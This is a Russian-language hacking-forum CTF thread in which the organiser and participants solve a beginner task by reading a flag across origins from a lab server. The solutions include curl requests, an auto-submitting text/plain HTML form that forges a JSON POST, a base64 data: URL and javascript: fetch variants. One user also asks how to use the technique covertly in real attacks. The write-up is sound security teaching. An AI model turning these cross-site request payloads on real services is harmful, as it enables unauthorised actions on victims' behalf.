Task # Task #13

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 13 Feb 2021.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Fetch.png

    Идея заданий родилась в закрытых разделах, но похоже и в паблике есть к этому некоторый интерес.
    Правила понятные, механизм отладили, можно пускать это дело на самотек.

    Хотя остается проблема "первых двух ступенек", т.е. нужны простые задания, которые можно выполнить с начальными навыками на форуме.
    А вот их приготовить замеетно сложнее, чем хардкорные, как ни странно.
    На начальном этапе изюминки почти неразличимы на фоне общих трудностей самого процесса познания.
    Прокачавшись, трудно заставить себя постить простенькие вещи, вроде как не твой уровень.

    Пробую этот пробел заполнять, и вот очередная попытка:
    посмотрите аттач к заданию, в нем html страничка, которая пытается получить флаг, правда неудачно.

    Есть простые способы получить этот флаг, поэтому сам флаг не интересует и приниматься будут не все способы, а только некоторые.
    А именно:
    - нельзя использовать прокладки (дополнительные скрипты, сайты, прокси)
    - решение должно уместиться в строке браузера
    - вызов должен быть непосредственно на task.antichat.xyz:10013
    - проверять решение буду в браузерах Firefox и Chrome

    Задание:
    Таргет: http://task.antichat.xyz:10013
    Найти и прочитать флаг.
    Ответы присылайте в ПМ форума, интересует не сам флаг, а прохождение.

    Срок:
    две недели.


    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС.


    Прошли:
    ii445888

    Baskin-Robbins
    - нашел три способа решить задание!
    Hulkus - особенность в Firefox
    Go0o$E



    Прохождения:
    https://forum.antichat.ru/threads/482941/#post-4448252
     

    Attached Files:

    #1 dooble, 13 Feb 2021
    Last edited: 27 Feb 2021
    1. dooble

      dooble Members of Antichat

      Joined:
      30 Dec 2016
      Messages:
      231
      Likes Received:
      601
      Reputations:
      145
      Картинка про CORS - обыкновенная подсказка.
       
      4Fun and Baskin-Robbins like this.
      1. dooble

        dooble Members of Antichat

        Joined:
        30 Dec 2016
        Messages:
        231
        Likes Received:
        601
        Reputations:
        145
        Задание предназначено в первую очередь для начинающих и указатель на CORS нужен для сокращения времени поиска направления решения.
        Смотрим, там точно есть способ, которым решается задание, останется потыкать в реализацию.
         
        4Fun and Baskin-Robbins like this.
        1. dooble

          dooble Members of Antichat

          Joined:
          30 Dec 2016
          Messages:
          231
          Likes Received:
          601
          Reputations:
          145
          ii445888 на подходе, практически зарешал, осталось оформить правильно.

          Ну и вот простой способ достать флаг,
          эмулируем запрос, который делается в приаттаченном файле
          Code:
          curl -H "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.xyz:10013
          Только этот результат нужно получить в браузере.
           
          4Fun and Baskin-Robbins like this.
          1. dooble

            dooble Members of Antichat

            Joined:
            30 Dec 2016
            Messages:
            231
            Likes Received:
            601
            Reputations:
            145
            Baskin-Robbins нашел альтернативное решение, срабатывает в Firefox.
             
            1. dooble

              dooble Members of Antichat

              Joined:
              30 Dec 2016
              Messages:
              231
              Likes Received:
              601
              Reputations:
              145
              Baskin-Robbins нашел не просто решение таска, похоже он наковырял багу в Firefox.

              И следующий хинт:
              про адресную строку может быть не очень понятно, что решение должно уместиться в ней.
              Просто вспомните, браузеры поддерживают не только http:// протокол, но и множество других, в некоторых будет удобно набрать решение.
               
              4Fun and crlf like this.
              1. dooble

                dooble Members of Antichat

                Joined:
                30 Dec 2016
                Messages:
                231
                Likes Received:
                601
                Reputations:
                145
                А вот интересно, проверяет ли сервер заголовок "Content-Type: application/json"?
                Смотрим:
                Code:
                curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.xyz:10013
                Флаг отдается!

                Упс, заголовок не проверяется и мы можем использовать способ отправить запрос, когда CORS игнорируется.
                 
                1. dooble

                  dooble Members of Antichat

                  Joined:
                  30 Dec 2016
                  Messages:
                  231
                  Likes Received:
                  601
                  Reputations:
                  145
                  "Простой запрос" может быть сделан через <form>, без каких-то специальных методов.
                  Но формы не предназначены для отправки json-запросов.
                  - заголовок "Content-Type: application/json" не разрешен
                  - данные передаются в другом формате.

                  Но с заголовками мы вроде разобрались.
                  А данные как передать в json-формате?
                  Или все-таки можно?
                   
                  4Fun likes this.
                  1. dooble

                    dooble Members of Antichat

                    Joined:
                    30 Dec 2016
                    Messages:
                    231
                    Likes Received:
                    601
                    Reputations:
                    145
                    Наверное последнее, чем можно еще помочь:
                    если трудно набрать решение в адресной строке - приму html код, который выведет флаг на странице.
                     
                    1. dooble

                      dooble Members of Antichat

                      Joined:
                      30 Dec 2016
                      Messages:
                      231
                      Likes Received:
                      601
                      Reputations:
                      145
                      До закрытия таска осталось немного времени.
                      Тем, кто попал в таблицу решивших задание, просьба отписать в топике - законное право победителя, ну и просто для поднятия конуса :).
                       
                      1. dooble

                        dooble Members of Antichat

                        Joined:
                        30 Dec 2016
                        Messages:
                        231
                        Likes Received:
                        601
                        Reputations:
                        145
                        Задание закрыто.

                        Прохождение:


                        Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.xyz:10013 и ответ выводится на страницу.
                        Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.xyz:10013/task13.html.
                        Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:
                        Code:
                        Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.xyz:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).
                        Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.

                        Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:
                        Code:
                        curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.xyz:10013
                        
                        флаг получен, цель понятна, нужно выполнить запрос в браузере.
                        Но браузер будет упорно сопротивляться.
                        Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.
                        Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.
                        Поэтому ищем чего-то другое.

                        Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.
                        Это хорошо, но есть пара проблем:
                        - формы не умеют отправлять заголовок "Content-Type: application/json"
                        - не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.

                        Пробуем заточить под наши нужды.
                        Проверяем, обязателен ли заголовок "Content-Type: application/json"
                        Code:
                        curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.xyz:10013
                        флаг отдается, значит заголовок не обязателен, ковыряем json-строку.

                        Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".
                        Например:
                        Code:
                        <html>
                        <body onload='document.forms[0].submit()'>
                            <form method='POST' enctype='text/plain' action="http://task.antichat.xyz:10013">
                                <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'>
                            </form>
                        </body>
                        </html>
                        На сервер уйдет пакет
                        Code:
                        POST / HTTP/1.1
                        Host: task.antichat.xyz:10013
                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                        Content-Type: text/plain
                        Content-Length: 38
                        Connection: close
                        
                        {"operation":"GetFlag","(.)(.)":"="}
                        
                        Видим флаг.

                        Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL
                        data:text/html, и дальше наш html-текст копипастом.

                        Часто используют base64 кодирование

                        берем
                        Code:
                        <body onload='document.forms[0].submit()'>
                            <form method='POST' enctype='text/plain' action="http://task.antichat.xyz:10013">
                                <input type="hidden" name='{"operation":"GetFlag","(.)(.)":"' value='"}'>
                            </form>
                        </body>
                        енкодим в base64
                        Code:
                        PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo=
                        знаки равенства в конце base64-строки можно отбросить

                        Code:
                        data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+DQo8L2JvZHk+DQo
                        
                        Вставляем в адресную строку - видим флаг.

                        Прохождения участников:



                        [/quote]
                         
                        #11 dooble, 27 Feb 2021
                        Last edited: 28 Feb 2021
                        4Fun, joelblack, fandor9 and 3 others like this.
                        1. Baskin-Robbins

                          Baskin-Robbins Reservists Of Antichat

                          Joined:
                          15 Sep 2018
                          Messages:
                          239
                          Likes Received:
                          809
                          Reputations:
                          212
                          Вариант для Chrome.
                          Открываем task.antichat.xyz:10013 в url вписываем:
                          Code:
                          javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.xyz:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d));
                          
                          К слову о вкладке network в firefox.
                          Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение
                          присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon.
                          Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии
                          от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича
                          присутсвовала и в старых версиях хрома.

                          Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data://
                          через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но
                          браузер SeaMonkey унаследует его из текущей вкладки. Поэтому решение таска
                          возможно схожим с javascript:... образом для chrome, но @dooble его бы не засчитал:

                          Code:
                          data:text/html,<script>data = {'operation': 'GetFlag'};var url = 'http://task.antichat.xyz:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send(JSON.stringify(data));alert(xhr.responseText);</script>
                          
                           
                          4Fun, seostock, Spinus and 1 other person like this.
                          1. neur0funk

                            neur0funk Member

                            Joined:
                            9 May 2018
                            Messages:
                            22
                            Likes Received:
                            18
                            Reputations:
                            12
                            А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video
                             
                            1. Baskin-Robbins

                              Baskin-Robbins Reservists Of Antichat

                              Joined:
                              15 Sep 2018
                              Messages:
                              239
                              Likes Received:
                              809
                              Reputations:
                              212
                              Лично я, на текущий момент, не вижу вектора именно скрытого использования.
                              Хотя, надо подумать.
                               
                              #14 Baskin-Robbins, 3 Mar 2021
                              Last edited: 3 Mar 2021
                              seostock likes this.